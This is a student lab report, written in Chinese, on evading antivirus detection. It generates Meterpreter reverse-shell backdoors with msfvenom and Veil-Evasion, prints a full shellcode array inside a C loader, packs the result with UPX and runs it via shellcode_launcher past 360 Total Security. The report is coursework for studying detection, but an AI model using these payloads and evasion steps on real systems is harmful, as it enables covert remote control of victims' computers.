• 20174323张加欣-Exp3 免杀原理与实践


    1.实验内容及基础知识

    1.1  实验内容  

    • 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
    • 任务二:通过组合应用各种技术实现恶意代码免杀。
    • 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

    1.2  基础知识  

    恶意代码监测机制:

    • 基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
    • 启发式恶意软件检测:典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
    • 基于行为的恶意软件检测:从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

    免杀:

    • 指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

    2.任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。

    2.1  正确使用msf编码器,生成exe文件    

    • 在实验二中已经生成的后门程序 20174323_backdoor.exe ,使用 VirusTotal 这个网站进行扫描,扫描结果如下:
    • 由此可见不加任何处理的后门程序能够被大多数杀软检测到,接着使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
    • 生成一次编码的后门程序:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.2.125 LPORT=4323 -f exe > encoded1.exe
    • 生成十次编码的后门程序:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.2.125 LPORT=4323 -f exe > encoded10.exe
    • 由此可见,多次编码对于免杀没有太大的帮助。

    2.2  msfvenom生成jar文件及其他文件  

    • 输入指令apt-get install ufw msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.125 LPORT=4323 x> 20174323jar.jar,生成jar文件。
    • VirusTotal检测结果:
    • 输入指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.125 LPORT=4323 x> dwt_backdoor.php,生成php文件。
    • VirusTotal检测结果:
    • 还可以生成jsp文件、apk文件等等...

    2.3  使用veil-evasion生成后门程序及检测  

    • 使用,进行veil的安装。

    • 安装成功
    • 使用sudo运行veil,输入use evasion,命令进入veil-evasion。

    • 输入指令use c/meterpreter/rev_tcp.py,进入配置界面。

    • 输入  set LHOST 192.168.2.125,设置反弹连接IP地址。输入  set LPORT 4323,设置端口。

    • 使用generate命令生成文件,接着输入生成的playload的名称veil20175317,保存路径为/var/lib/veil/output/source/veil20175317.exe

    • VirusTotal检测结果:

    2.4  使用C+shellcode编程生成后门程序  

    • 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.125 LPORT=4323 -f c,生成shellcode。
    • 创建20174323.c,将buf添加到代码中。
    ufwunsigned char buf[] = 
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
    "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
    "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
    "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
    "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
    "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
    "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
    "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
    "x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
    "x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
    "x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x7ax88"
    "x68x02x00x14xc5x89xe6x50x50x50x50x40x50x40x50"
    "x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
    "x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
    "x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
    "xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
    "x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
    "x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
    "x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
    "x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
    "x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
    "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
    int main() 
    { 
        int (*func)() = (int(*)())buf; 
        func(); 
    }
    
    • 输入代码i686-w64-mingw32-g++ 20174323.c -o 20174323.exe,生成exe可执行文件。
    • VirusTotal检测结果:

    2.5  加壳工具  

    • 输入指令upx 20174323.exe -o 20174323pro.exe,对20174323.exe加壳。
    • VirusTotal检测结果如下,可以发现加壳以后能够检测出的杀软少了。
    • 使用实验二的方法测试,在 msfconsole 里监听本机端口号,反弹连接成功。

    2.6  其他方法  

    • 采用Veil-Evasion的其他荷载生成后门方式
    • 进入evasion,使用list查看可用的有效荷载:

    • 我选择的是第32个荷载,是Python下shellcode在DES下加密一种。

    • 输入option,查看有效荷载的选项。
    • 修改用户名后使用generate生成,选择shellcode平台时选择2:msfvenom,payloads与IP、端口号使用tab自动获取。

    • 输入生成文件的文件名,选择Py2Exe生成exe文件。

    • 之后,生成的rc文件放入了路径/var/lib/veil/output/handlers/中,可执行文件放入了/var/lib/veil/output/source/ 中,VirusTotal检测结果。

    3.任务二:通过组合应用各种技术实现恶意代码免杀。

    4.任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

    (任务二和任务三放在一起做)

    • 使用Msfvenom生成raw格式的shellcode:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.145.128 lport=4323 -f raw -o 20174323.raw
    • 打开msfconsole进行监听,输入以下指令:
    use exploit/multi/handler         //监听设置payload set payload
    set payload windows/meterpreter/reverse_tcp    //使用与生成后门程序一样的payload
    set LHOST 192.168.2.125       //Linux端的IP地址 
    set LPORT 4323    //与之前输入的端口号一致
    exploit    //开始监听
    • 在另一台正常开启杀软的Windows命令提示符输入: shellcode_launcher.exe -i 20174323.raw 
    • 观察到成功回连,杀软没有查杀,且shellcode_launcher.exe和20174323.raw通过检测。
    • Windows版本:Windows 10;杀软:360安全卫士11.4.0.2003

     

    5.基础问题回答

    5.1  杀软是如何检测出恶意代码的?  

    • 特征代码法:该方法是目前杀毒工具中必备的组成部分。
    • 校验和法:文件完整性保护,主要用于检测系统文件是否被篡改。
    • 行为监测法:监测恶意代码执行时的行为特征,可以识别恶意代码的名称或者是种类,也可以检测未知的恶意代码。

    5.2  免杀是做什么?  

    • 免杀是可以使杀毒软件无法检测到其为病毒程序,从而可以使其“正常运行”。

    5.3  免杀的基本方法有哪些?  

    • 采用不同的编码方式,或者编码次数。
    • 对编码后生成的文件进行加壳,加压缩壳或者是加密壳。
    • 还可以使用反弹端口,一些防火墙不会对本机发出的请求进行过滤。

    5.4  开启杀软能绝对防止电脑中恶意代码吗?  

    • 开启杀软并不能绝对防止电脑中恶意代码,不过及时更新杀软,少打开不安全的链接、少下载盗版软件,还是能大大降低中招的几率。

    6.实验心得

           这次的实验还是很有意思的(但是装veil的过程十分艰辛...),虽然对一些现有平台的依赖性很强,但却是一个良好的开端,能够为我们进一步深入研究免杀提供思路。打造免杀软件的过程也增加了危机意识,杀软杀不出来不代表绝对安全,所以平日要提高安全意识,不要随便在网上下载可执行文件,也不要点击可疑链接,尽量减少被植入后门的可能。

  • 相关阅读:
    浏览器返回错误汇总分析
    黄金投资品种众多 个人如何投资黄金
    .NET设计模式系列文章 (转自TerryLee's Tech Space)
    .NET设计模式(7):创建型模式专题总结(Creational Pattern)
    一个很经典的下拉式菜单(附效果)
    .NET设计模式(16):模版方法(Template Method)
    搜索引擎优化基础(转并整理添加)
    .NET设计模式(18):迭代器模式(Iterator Pattern)
    【ASP.NET】网页中嵌入视频的三种方法
    .NET设计模式(15):结构型模式专题总结
  • 原文地址:https://www.cnblogs.com/174323jiaxin/p/12612642.html
Copyright © 2020-2023  润新知